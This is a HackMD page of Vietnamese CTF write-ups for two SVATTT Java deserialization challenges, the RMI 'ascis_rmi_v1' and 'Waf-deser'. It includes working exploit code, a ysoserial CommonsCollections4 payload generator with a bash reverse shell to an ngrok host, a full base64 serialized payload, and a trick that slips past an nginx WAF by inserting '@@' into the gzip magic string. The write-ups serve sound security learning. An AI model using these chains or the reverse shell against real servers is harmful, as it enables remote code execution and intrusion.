endy
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # SVATTT-Quals-2020: ascis_rmi_v1 Trước khi đi vào writeup bài này thì mọi người cần biết về RMI trong Java, mình sẽ nói sơ qua về RMI, và nó có liên quan gì đến Java deser ## RMI là gì ### Khái niệm RMI (Remote Method Invocation) là một API trong java cho phép có thể truy cập method của một object từ xa trên máy khác. Ví dụ mình có 1 server có method `hello` của interface `User`, và phía client có interface `User` nhưng lại không có method `hello`, client muốn gọi method này sẽ đứng từ xa và dùng RMI để truy cập đến method `hello` của server RMI được sử dụng trong các hệ thống phân tán, hoặc gọi đến các method của bên thứ 3. Ví dụ một thư viện `XYZ` cung cấp method `imgRender` để xử lý ảnh, src của thư viện được host ở một nơi khác, ta có thể dùng RMI để truy cập đến method `imgRender` mà không cần tải cả thư viện về. Nói sơ qua về cấu trúc của RMI sẽ như sau: ![](https://hackmd.io/_uploads/H16EksAdn.png) RMI sẽ bao gồm: - RMI Client : là client gọi đến remote method, tại client có một object trung gian gọi là `Stub`, `Stub` là đại diện của remote Object, và mọi hành động của client đến server đều đi qua `Stub` - RMI Server: là server sẽ tiếp nhận yêu cầu gọi đến method, thực thi method và trả về kết quả, ở server có object gọi là `Skeleton`, tác dụng tương tự `Stub` chỉ là khác tên gọi - RMI Register: hiểu nôm na đây như là một nhà cung cấp, server sẽ bind object lên register, khi client muốn sử dụng nó sẽ lookup trong register luôn ### Code minh họa Interface có ở client và server: ![](https://hackmd.io/_uploads/SJDBeiAd2.png) >Note: vì RMI là một concept liên quan đến việc truy cập method từ xa, tức là ở cả server và client đều sẽ có interface có method đó, nhưng phía client thì ko có code implement method của interface (tức là method rỗng), còn ở server thì có. Khi client muốn dùng code implement của server thì sẽ nhờ RMI. Do đó interface phải tồn tại ở cả client và server Remote method trên server: ![](https://hackmd.io/_uploads/SknaxoRd2.png) Hàm main của server: ![](https://hackmd.io/_uploads/BkmJZoROh.png) > Tại hàm main sẽ rebind remote object cho registry, và cung cấp một URI để client truy xuất Code tại client: ![](https://hackmd.io/_uploads/ByjQWs0_2.png) > Đơn giản là lookup remote object thông qua URI đã rebind Kết quả Chạy server: ![](https://hackmd.io/_uploads/By3SziCd3.png) Chạy client: ![](https://hackmd.io/_uploads/SkRUfoAOn.png) ![](https://hackmd.io/_uploads/r14wziRun.png) ### Vậy thì RMI liên quan gì đến Java deser Như đã nói về công dụng của việc seri dữ liệu trong Java, thì để trao đổi các Object qua lại như trong RMI đương nhiên ta sẽ cần đến việc tuần tự hóa dữ liệu, tuy nhiên RMI handle chuyện đó như thế nào. Các bạn có thể tham khảo [blog này](https://su18.org/post/rmi-attack/). Bài blog nói khá chi tiế về cách RMI xử lý dữ liệu cũng như là các dạng tấn công RMI, có nhiều đoạn mình vẫn chưa hiểu vẫn cần debug thêm, trong tương lai mình sẽ có bài phân tích rõ RMI và các cách exploit RMI. Tóm lại thì ta cần biết, trong 3 thành phần của RMI, thành phần nào cũng sẽ đều thực hiện quá trình tuần tự hóa, và nếu ta có thể kiểm soát được object truyền vào, ta hoàn toàn có thể exploit được cả 3 thành phần. Bài `ascis_rmi_v1` ta sẽ exploit Java deser ở thằng RMI Server nên trong quá trình write up mình cũng sẽ giải thích sơ quá cách RMI server deser dữ liệu ## Writeups ascis_rmi_v1 ### Analysis Link src chall : https://drive.google.com/file/d/1Gfwhs0K-sNEQtNtHNK2gZz9IDdrpyOHF/view Chall cho ta 2 file jar là `ascis_player.jar` (client) và `ascis_service1.jar` (server) File `ascis_player.jar` bao gồm: ![](https://hackmd.io/_uploads/BkCrBiC_3.png) Src của `ASCISPlayer.java` ```java package rmi; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ASCISPlayer { public ASCISPlayer() { } public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException { String serverIP = args[0]; int serverPort = Integer.parseInt(args[1]); String name = args[2]; Registry registry = LocateRegistry.getRegistry(serverIP, serverPort); ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis"); System.out.println(ascisInterf.sayHello(name)); } } ``` File `ascis_service1.jar` bao gồm: ![](https://hackmd.io/_uploads/HJTorsC_2.png) Src của `ASCISServer.java` ```java package rmi; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class ASCISServer { public ASCISServer() { } public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1099); registry.rebind("ascis", new ASCISInterfImpl()); System.out.println("ASCIS server is ready"); } catch (Exception var2) { var2.printStackTrace(); } } } ``` Đây là một RMI server đơn giản, tuy nhiên thứ mình chú ý tới là nội dung của `Player.java` và `ASCISInterImpl.java` ASCISInterImpl: ```java package rmi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class ASCISInterfImpl extends UnicastRemoteObject implements ASCISInterf { public ASCISInterfImpl() throws RemoteException { } public String sayHello(String playerName) throws RemoteException { return String.format("WELCOME %s to ASCIS 2020 !", playerName); } public String login(Object player) throws RemoteException { String msg = ""; Player ascis_player = (Player)player; msg = msg + String.format("\nLOGGED IN ! Welcome %s to ASCIS 2020 !", ascis_player.getName()); msg = msg + "\nHave a nice day! Bye Bye"; return msg; } } ``` Player: ```java public class Player implements Serializable { private String name; private boolean isAdmin; private String logCommand = "echo \"ADMIN LOGGED IN\" > /tmp/log.txt"; public Player() { } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public boolean isAdmin() { return this.isAdmin; } public void setAdmin(boolean admin) { this.isAdmin = admin; } public String toString() { if (this.isAdmin()) { try { Runtime.getRuntime().exec(this.logCommand); } catch (IOException var2) { var2.printStackTrace(); } return "ADMIN LOGGED IN"; } else { return "USER LOGGED IN"; } } } ``` Ta chú ý 2 điều: - Đầu tiên, tại `Player.java` thì nếu `isAdmin` là true thì ta hoàn toàn có thể thực thi cmd thông qua biến `logCommand`, tuy nhiên điều kiện để điều này xảy ra là method `toString` phải được gọi - Thứ 2 method `login` của `ASCISInterImpl.java` nhận vào một object Ta có thể tùy ý set giá trị của `isAdmin` và `logCommand` bằng Reflection API, còn vấn đề làm cách nào gọi được `toString` thì ta sẽ dùng `BadAttributeValueExpException.readObject()` Flow exploit sẽ như sau ``` ASCISInterImpl.login() -> BadAttributeValueExpException.readObject() -> Player().toString -> Runtime.getRuntime().exec(this.logCommand) ``` Chain thì cực kỳ đơn giản, tuy nhiên ta thấy server không hề gọi đến `readObject`, vậy thì làm sao ta trigger được payload ? Debug vào src code của RMI để biết cách RMI xử lý data, ta có cái nhìn tổng quát như sau: Khi client `lookup`, nó sẽ seri tên object và gửi cho Registry ![](https://hackmd.io/_uploads/Syt_m3C_2.png) Hàm `lookup` tại `RegistryImp_Stub.class` ![](https://hackmd.io/_uploads/r1cnQh0O3.png) Sau đó nó deser dữ liệu trả về từ `Registry` ![](https://hackmd.io/_uploads/ryxlB3AO3.png) Kết quả từ `(Remote)var4.readObject()` được gán cho `var22` và return ![](https://hackmd.io/_uploads/S13d4n0d2.png) `var22` cũng chính là giá trị trả về của `registry.lookup` Tiếp thục ta gọi remote method với tham số `name` ![](https://hackmd.io/_uploads/SkIUr30u3.png) Lúc này method `unmarshalValue` tại `UnicastRef.class` sẽ được gọi ![](https://hackmd.io/_uploads/HkwYH3C_2.png) `unmarshalValue` sẽ deser `var1`, mà `var1` cũng chính là tham số ta truyền vào remote method ở trên. Tóm lại nếu ta truyền vào một tham số có kdl là object, thì tại RMI Server sẽ thực hiện deser object đó, vậy bây giờ ta chỉ cần tạo gadgetchain và đưa gadgetchain lên server thông qua method `login` ### Exploit Payload: ```java import rmi.ASCISInterf; import rmi.Player; import javax.management.BadAttributeValueExpException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.lang.reflect.*; public class ASCISPlayer { public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException { String serverIP = "127.0.0.1"; // Server IP int serverPort = Integer.parseInt("1099"); // Server Port String name = "endy"; Registry registry = LocateRegistry.getRegistry(serverIP, serverPort); rmi.ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis"); Player pItem = new Player(); BadAttributeValueExpException b = new BadAttributeValueExpException (null); Field isAdmin = Player.class.getDeclaredField("isAdmin"); isAdmin.setAccessible(true); isAdmin.set(pItem,true); Field logCommand = Player.class.getDeclaredField("logCommand"); logCommand.setAccessible(true); logCommand.set(pItem, "calc"); Field val = BadAttributeValueExpException.class.getDeclaredField("val"); val.setAccessible(true); val.set(b, pItem); System.out.println(ascisInterf.login(b)); } } ``` Khi chạy code, `BadAttributeValueExpException.readObject` được gọi, gadgetchain được thực thi, ta popup được calc ![](https://hackmd.io/_uploads/rJ2Bt2Ad3.png) ![](https://hackmd.io/_uploads/HyeksK3ROh.png) # SVATTT-Quals-2022: Waf-deser ## Analysis Src của chall: https://github.com/to016/CTFs/tree/main/SVATTT/2022/Qual/WAF-Deser/src Khi giải nén src thì ta được như sau: ![](https://hackmd.io/_uploads/BkMY0RkKh.png) Nội dung của `nginx.conf` ![](https://hackmd.io/_uploads/B1Li0AyY2.png) Ta thấy file cấu hình này có 3 chức năng chính như sau - Giới hạn chiều dài URI < 3000 bytes - Nếu URI có chuỗi `H4sI` thì sẽ return 403 - Nếu thỏa các điều kiện trên thì sẽ forward đến `http://web:8080` Mở một project bất kỳ trên IntelliJ và import file jar chall cung cấp ta được các class như sau: ![](https://hackmd.io/_uploads/ryivyJxY2.png) Nhìn lướt qua 3 class thì có vẻ chỉ có `UserController` là cần đáng lưu tâm ```java package vcs.example.wafdeser; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.zip.GZIPInputStream; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; @RestController public class UserController { public UserController() { } @GetMapping({"/"}) public String sayHello() { return String.format("Hello ASCIS"); } @RequestMapping( value = {"/info/{info}"}, method = {RequestMethod.GET} ) public String getUser(@PathVariable("info") String info, @RequestParam(name = "compress",defaultValue = "false") Boolean isCompress) throws IOException { String unencodedData = this.unEncode(info); String returnData = ""; byte[] data = Base64.getMimeDecoder().decode(unencodedData); if (isCompress) { InputStream is = new ByteArrayInputStream(data); InputStream is = new GZIPInputStream(is); ObjectInputStream ois = new ObjectInputStream(is); try { User user = (User)ois.readObject(); returnData = user.getName(); ois.close(); } catch (Exception var9) { returnData = "?????"; } } else { returnData = new String(data, StandardCharsets.UTF_8); } return String.format("Hello %s", returnData); } private String unEncode(String s) { return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/"); } } ``` Class này cũng chính là Controller của web, nó nhận một chuỗi base64 thông qua path `/info/<base64>` và decode để hiển thị ra dòng chữ `Hello <name>`, ngoài ra nếu URL có param `compress=true`, thì sẽ thực hiện gzip decompress và sau đó deserialize. Như vậy là ta đã tìm được sink của ứng dụng, chỉ cần đưa serialize data ở format gzip và được base64 encode, thì chương trình sẽ thực hiện deserialize. Mở lib của ứng dụng để tìm thư viện có thể lợi dụng để làm gadgetchain, ta thấy lib có `CommonsCollections4` ![](https://hackmd.io/_uploads/rJvTl1lt3.png) Vậy thì bây giờ chỉ cần gen payload và bem thôi ## Exploit Mình sẽ include `ysoserial` và dùng `getObject` để gen payload cho tiện ```java package main; import ysoserial.payloads.*; import ysoserial.payloads.util.CmdExecuteHelper; import java.io.*; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class Main { public static void main(String args[]) throws Exception { CmdExecuteHelper cmd = new CmdExecuteHelper("cmd", "calc.exe"); Object payload = new CommonsCollections4().getObject(cmd); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOut = new GZIPOutputStream(baos); ObjectOutputStream objectOut = new ObjectOutputStream(gzipOut); objectOut.writeObject(payload); objectOut.close(); byte[] dat = baos.toByteArray(); String a = Base64.getMimeEncoder().encodeToString(dat); System.out.println(a); } } ``` Kết quả: ![](https://hackmd.io/_uploads/ryWGf1eYn.png) Mà hình như có gì đó sai sai, đoạn nginx config ở đầu đã block `H4sI`, nhưng `H4sI` lại là magic bytes của gzip khi encode base64. Bây giờ mình phải tìm cách để bypass. Để bypass cũng khá đơn giản, mình đã từng có bài viết về hành vì decode base64 của PHP [link](https://hackmd.io/9BIfLHZESZKsyTs_ef_YWw?view#:~:text=Euro%20symbol%20%2BIKw.-,B.%20S%E1%BB%B1%20k%E1%BB%B3%20di%E1%BB%87u%20c%E1%BB%A7a%20h%C3%A0m%20x%E1%BB%AD%20l%C3%BD%20base64%20trong%20PHP,-Tr%C6%B0%E1%BB%9Bc%20khi%20%C4%91i), cụ thể thì nếu trong chuỗi base64 có ký tự rác, khi decode PHP sẽ tự động loại bỏ các ký tự đó ```php $ php -r "echo base64_encode('endyne');" ZW5keW5l $ php -r "echo base64_decode('ZW5keW5l');" endyne $ php -r "echo base64_decode('@@_ZW5keW5l');" endyne ``` Mình tự hỏi là trong Java thì hành vi có tương tự không ? Và câu trả lời là có, mình test bằng đoạn code sau: ```java import java.util.Base64.Decoder; public class Test { public static void main(String[] args) { String stringA = "ZW5keQ=="; Decoder mimeDecoder = Base64.getMimeDecoder(); byte[] decodedBytes = mimeDecoder.decode(stringA); String decodedString = new String(decodedBytes); System.out.println("Base64 code: " + stringA); System.out.println("Decoded string: " + decodedString); String stringB = "ZW5@@keQ=="; Decoder mimeDecoder2 = Base64.getMimeDecoder(); byte[] decodedBytes2 = mimeDecoder.decode(stringA); String decodedString2 = new String(decodedBytes); System.out.println("Base64 code: " + stringB); System.out.println("Decoded string: " + decodedString); } } ``` Kết quả: ![](https://hackmd.io/_uploads/rJtfOJgFn.png) Ta thấy dù có thêm `@@` vào giữa chuỗi base64 thì vẫn decode ra cùng 1 kết quả, vậy chỉ cần thêm `@@` vào giữa chuỗi `H4sI` là easy bypass Tuy nhiên ta còn một của ải cuối cùng là hàm ```java private String unEncode(String s) { return s.replaceAll("-", "\\r\\n").replaceAll("%3D", "=").replaceAll("%2B", "\\+").replaceAll("_", "/"); } ``` Hàm này thì khá đơn giản. Ta chỉ cần thay các ký tự `/` trong payload thành `-` và lợi dụng `replaceAll("_", "/")` để đưa payload về đúng dạng. Code gen payload cuối cùng để reverse shell ```java package main; import ysoserial.payloads.*; import ysoserial.payloads.util.CmdExecuteHelper; import java.io.*; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class Main { public static void main(String args[]) throws Exception { CmdExecuteHelper cmd = new CmdExecuteHelper("bash", "bash -c 'bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/13153 0>&1'"); Object payload = new CommonsCollections4().getObject(cmd); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOut = new GZIPOutputStream(baos); ObjectOutputStream objectOut = new ObjectOutputStream(gzipOut); objectOut.writeObject(payload); objectOut.close(); byte[] dat = baos.toByteArray(); String a = Base64.getMimeEncoder().encodeToString(dat); a = a.replaceAll("/","_"); System.out.println(a); } } ``` Payload sẽ là ``` H4sIAAAAAAAAAK1WS2wbVRS9z44_cRzaOL9+CHEpbZ2WzDh1_k6TJi0tBpcGbPrBi2g8fnWmHc+480mdLkBFqCy6KaKo6goWBRYNSJEQVEggsULiJxZISEVIFQtW_KRWAlTxuW9m_GkTGqfUkmfe3Hfvfefde+59b+Fn8OgadB4X5gTONCSZm9YkVZOM+adNatIL16Lv3Zp4cdENrgQ06NJpmoSAqBaKgiYYqmZAR5JZ8syS31ORx0tFAHCh4ylVy3NCURBnKYd2BVXR8S3LVDQkHPdzVWc6l9YERT+magVJyVed8X++9NuORf8XLnAloTFHRRXFNHcSngeShCajbEQRTm8S1+Pt9XhnPb52PT5dVUeUiHD3ahA6qLIyreK7dfPSlqvK4pALwHIYX8nhMVMRbW+zgqTQXA2k6KcXf4qcvtjgApKBZqlmRjeAy6xyd6bm2NwVTq3NyJnRW_5rE29ae3FSOFb_fvDTEBSjxuORufMtk67FCy6Wq0aprGFAyCaOLCh5_mD2ODpDwHMaDOESnG4qXM2qJQHVOEkxqKYIMlfSZUPkMO8lxD55ZJ8k4wRUf1YWJupGnbAhSUiqGuD9526+cPns13FkXQY80qSWxwy0ZpaizkCTNI1MKKTnixR1QrU6e2RB1+1MOLYck3OO7fmvjry+Vu+Ry+EmCHx0dQGghaKMyPUEvhsPH_xEWbgSc4M3Ac0zkpKjivGUWchSLQEPzFiVIlMjgfJSBgIz2XkDqynHULszmakMeGdEBpiVVlsSPDOKUKC3pyplaFic8SS0zKimUTSNaU0tYuVJzEltM6jK7WYA_+APw8AWevKv9e35_HdDFZah3JWZWrjR+YfXn77uiH3Nn_394cc4HYOJALjhYR_s8sEWH2wlsFanmiTIh7AuMJvPJvYSIE8QaC7z65Agm9TzTvjVG698_+s4Ae+YpEgGDtyRnkMEGvbgrgmsSWL52fFJs5omuFVVRLcCOsdvR9hgzEo6gdaUYWbTTgynhXlZFXIEgglFoZqVZ4pKA8l5XbXB8UVbR7cDsl_I5amhP7KMlziBxkobI6BFksgBHjnA19S7xQG+zAHe4gC_9+CBeGZZ7YJc1bXxYPPW+JQzFFgVPC4oORmrnoXEn1NFs4B8IdhEV7M8ms7afnD7U_8fDIHAYyWRFq0y9cE2Am+tLh4rIsgZBX5v+sBkSdITKLIOrPsTQ8lxx3hwLygI+JxYEpi8H5FMqaYmUuyQSOOgw0COFWkQAtDkgwiB2D0QlsDuejOimdhaC5SfzOpIcdEoeyLQZjULSa2Ct6ptpF7PZU8VthDoXmEvmKIxUXZaQUu1qz1jg_TBdowZKjrfBNojPcklavEgPAq9AdgBHHaiO3ujD6JYznxWUvisoM_6YScBV6_oh34Co0wS7hXD2+yBFB7fGuZzdI43xCIf5fCJLZ9T8pp6gsPI9MX6BmLh6PjWvm1+GMROREtUJBCJZJa25Fqg2HxFigdPEIZhhAEdxd6YMgTxxAGh6HS1rmqspk9hC+sfHto5GBuOjQwPDkZxC93JuyrEYRO4sCsjKPxvAA948e1j3Rz8lgwJhs8gSnh8E3x7tn8AZNFSacan1xJG4QF8Bm0FWAPj7ByEVmhDLWY8gX83k91pOGAZhu1Jx5CN2qHDmifQCevQYj2ObYzM7UbHbcKSLuN2xHK73Z5c1u2D0IUWbPQQdOPy1QX80FPZ9AD6Y1rht8FNkleB934EfUfdoVjqaENoIHXUExpKvQ_xw4uWpzFrlwTv2bgjBmgTtOA7gFMu2AxrodFkp3I36n5TORY3smOx3QedPljng_X1Hosnf5R+GSvsX3d_jkX3PlVdcgxuWfEYRKt6GtQGApvrcHVbHdqXq_9sMCs1ibsSm9RP7F13EDtkzbdaz7aa7Haw7BYNaMAq04qnCJTwOhSqvS3at8grHd+++_mXz12qXBbxttzFlEocHgtc5QJRvRPedic+xQjtxgtmS9VxAjtqnmqhH964_PuZl4fxkp4AzxwjSUmzI2rr2WQ4u_BaV9OF6+cqABgje0r_Ak77J2BDDgAA ``` Đừng quên thêm `@@` vào giữa `H4sI` ![](https://hackmd.io/_uploads/BJCXF1gFn.png) Kết quả: ![](https://hackmd.io/_uploads/rkxdBYJxt2.png) # Refer https://www.javatpoint.com/RMI https://su18.org/post/rmi-attack/ https://drive.google.com/file/d/1Gfwhs0K-sNEQtNtHNK2gZz9IDdrpyOHF/view https://github.com/tsug0d/LearnJavaVulnerability https://github.com/vinhjaxt/CTF-writeups/issues/2 https://nhienit.wordpress.com/2022/10/20/waf-deser-ascis-2022-quals/ https://nguyendt.hashnode.dev/ascis-2022-qual-writeup-web-challenges#heading-waf-deser

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully